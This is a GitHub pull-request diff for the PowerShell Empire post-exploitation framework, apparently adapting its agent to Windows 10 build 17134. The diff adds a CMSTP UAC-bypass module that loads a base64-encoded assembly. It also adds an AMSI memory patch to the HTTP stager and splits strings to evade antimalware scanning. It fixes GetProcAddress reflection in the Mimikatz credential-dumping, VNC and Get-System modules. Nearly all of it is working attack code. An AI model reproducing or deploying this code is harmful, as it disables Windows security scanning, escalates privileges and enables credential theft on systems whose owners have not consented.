Skip to content
This repository has been archived by the owner on Jan 29, 2020. It is now read-only.

Fixed so the agent should work on Windows 10 Pro Build 17134 #1334

Open
wants to merge 8 commits into
base: master
Choose a base branch
from
6 changes: 5 additions & 1 deletion data/agent/agent.ps1
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@

function Invoke-Empire {
function Invoke-Agent {
<#
.SYNOPSIS
The main functionality of the Empire agent.
Expand Down Expand Up @@ -441,6 +441,8 @@ function Invoke-Empire {
param($JobName)
if($Script:Jobs.ContainsKey($JobName)) {
$Script:Jobs[$JobName]['Buffer'].ReadAll()
$Script:Jobs[$JobName]['PSHost'].Streams.Error
$Script:Jobs[$JobName]['PSHost'].Streams.Error.Clear()
}
}

Expand All @@ -453,6 +455,8 @@ function Invoke-Empire {
$Null = $Script:Jobs[$JobName]['PSHost'].Stop()
# get results
$Script:Jobs[$JobName]['Buffer'].ReadAll()
$Script:Jobs[$JobName]['PSHost'].Streams.Error
$Script:Jobs[$JobName]['PSHost'].Streams.Error.Clear()
# unload the app domain runner
$Null = [AppDomain]::Unload($Script:Jobs[$JobName]['AppDomain'])
$Script:Jobs.Remove($JobName)
Expand Down
7 changes: 4 additions & 3 deletions data/agent/stagers/http.ps1
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
function Start-Negotiate {
param($s,$SK,$UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
param($s,$SK,$UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko',$hop)

function ConvertTo-RC4ByteStream {
Param ($RCK, $In)
Expand Down Expand Up @@ -222,6 +222,7 @@ function Start-Negotiate {
}
}
$wc.Headers.Add("User-Agent",$UA);
$wc.Headers.Add("Hop-Name",$hop);

# step 5 of negotiation -> client posts nonce+sysinfo and requests agent
$raw=$wc.UploadData($s+"/index.php","POST",$rc4p2);
Expand All @@ -236,7 +237,7 @@ function Start-Negotiate {
[GC]::Collect();

# TODO: remove this shitty $server logic
Invoke-Empire -Servers @(($s -split "/")[0..2] -join "/") -StagingKey $SK -SessionKey $key -SessionID $ID -WorkingHours "WORKING_HOURS_REPLACE" -KillDate "REPLACE_KILLDATE" -ProxySettings $Script:Proxy;
Invoke-Agent -Servers @(($s -split "/")[0..2] -join "/") -StagingKey $SK -SessionKey $key -SessionID $ID -WorkingHours "WORKING_HOURS_REPLACE" -KillDate "REPLACE_KILLDATE" -ProxySettings $Script:Proxy;
}
# $ser is the server populated from the launcher code, needed here in order to facilitate hop listeners
Start-Negotiate -s "$ser" -SK 'REPLACE_STAGING_KEY' -UA $u;
Start-Negotiate -s "$ser" -SK 'REPLACE_STAGING_KEY' -UA $u -hop "$hop";
3 changes: 2 additions & 1 deletion data/module_source/credentials/Invoke-Mimikatz.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -883,7 +883,8 @@ $RemoteScriptBlock = {
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))

# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
Expand Down
4 changes: 3 additions & 1 deletion data/module_source/management/Invoke-Vnc.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -872,7 +872,9 @@ $RemoteScriptBlock = {
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Broken Win10 : $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);

# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
Expand Down
13 changes: 13 additions & 0 deletions data/module_source/privesc/CMSTP-UAC-Bypass.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
function Bypass-UAC
{
Param(
[Parameter(Mandatory = $true, Position = 0)]
[string]$Command
)
if(-not ([System.Management.Automation.PSTypeName]'CMSTPBypass').Type)
{
[Reflection.Assembly]::Load([Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAGbn2VsAAAAAAAAAAOAAAiELAQsAABAAAAAGAAAAAAAAzi4AAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAHwuAABPAAAAAEAAAMgCAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAA1A4AAAAgAAAAEAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAMgCAAAAQAAAAAQAAAASAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAFgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")) | Out-Null
}
[CMSTPBypass]::Execute($Command)
}

8 changes: 4 additions & 4 deletions data/module_source/privesc/Get-System.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -128,8 +128,8 @@ function Get-System {
Write-Output $TypeBuilder.CreateType()
}

# from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
function Local:Get-ProcAddress
#Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
Function Get-ProcAddress
{
Param
(
Expand All @@ -150,12 +150,12 @@ function Get-System {
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)

# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
Expand Down
41 changes: 38 additions & 3 deletions lib/listeners/http.py
Original file line number Diff line number Diff line change
Expand Up @@ -275,7 +275,39 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="",

stager = '$ErrorActionPreference = \"SilentlyContinue\";'
if safeChecks.lower() == 'true':
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")

#
# Disable Antimalware Scan Interface
#
stager = '$Win32 = @"\n'
stager += 'using System;\n'
stager += 'using System.Runtime.InteropServices;\n'

stager += 'public class Win32 {\n'

stager += ' [DllImport("kernel32")]\n'
stager += ' public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);\n'

stager += ' [DllImport("kernel32")]\n'
stager += ' public static extern IntPtr LoadLibrary(string name);\n'

stager += ' [DllImport("kernel32")]\n'
stager += ' public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);\n'

stager += '}\n'
stager += '"@\n'

stager += 'Add-Type $Win32;\n'

stager += '$LoadLibrary = [Win32]::LoadLibrary("amsi.dll");\n'
stager += '$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer");\n'
stager += '$p = 0;\n'
stager += '[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p);\n'
stager += '$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3);\n'
stager += '[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6);\n'


stager += helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")

# ScriptBlock Logging bypass
stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
Expand All @@ -301,9 +333,9 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="",

# @mattifestation's AMSI bypass
stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
stager += "'System.Management.Automation.AmsiUtils'"
stager += "'System.Management.Automation.Am' + 'siUtils'"
stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
stager += "'amsiInitFailed','NonPublic,Static'"
stager += "'am'+'siInitFailed','NonPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,$true)};")
stager += "};"
stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
Expand All @@ -317,6 +349,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="",

if 'https' in host:
# allow for self-signed certificates for https connections
stager += "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;"
stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"

if userAgent.lower() != 'none':
Expand Down Expand Up @@ -401,6 +434,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="",
# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")

print "*** Obfuscate : " + str(obfuscate)
if obfuscate:
stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
Expand Down Expand Up @@ -718,6 +752,7 @@ def generate_comms(self, listenerOptions, language=None):

if listenerOptions['Host']['Value'].startswith('https'):
updateServers += "\n[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
updateServers += "\n[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;"

getTask = """
$script:GetTask = {
Expand Down
Loading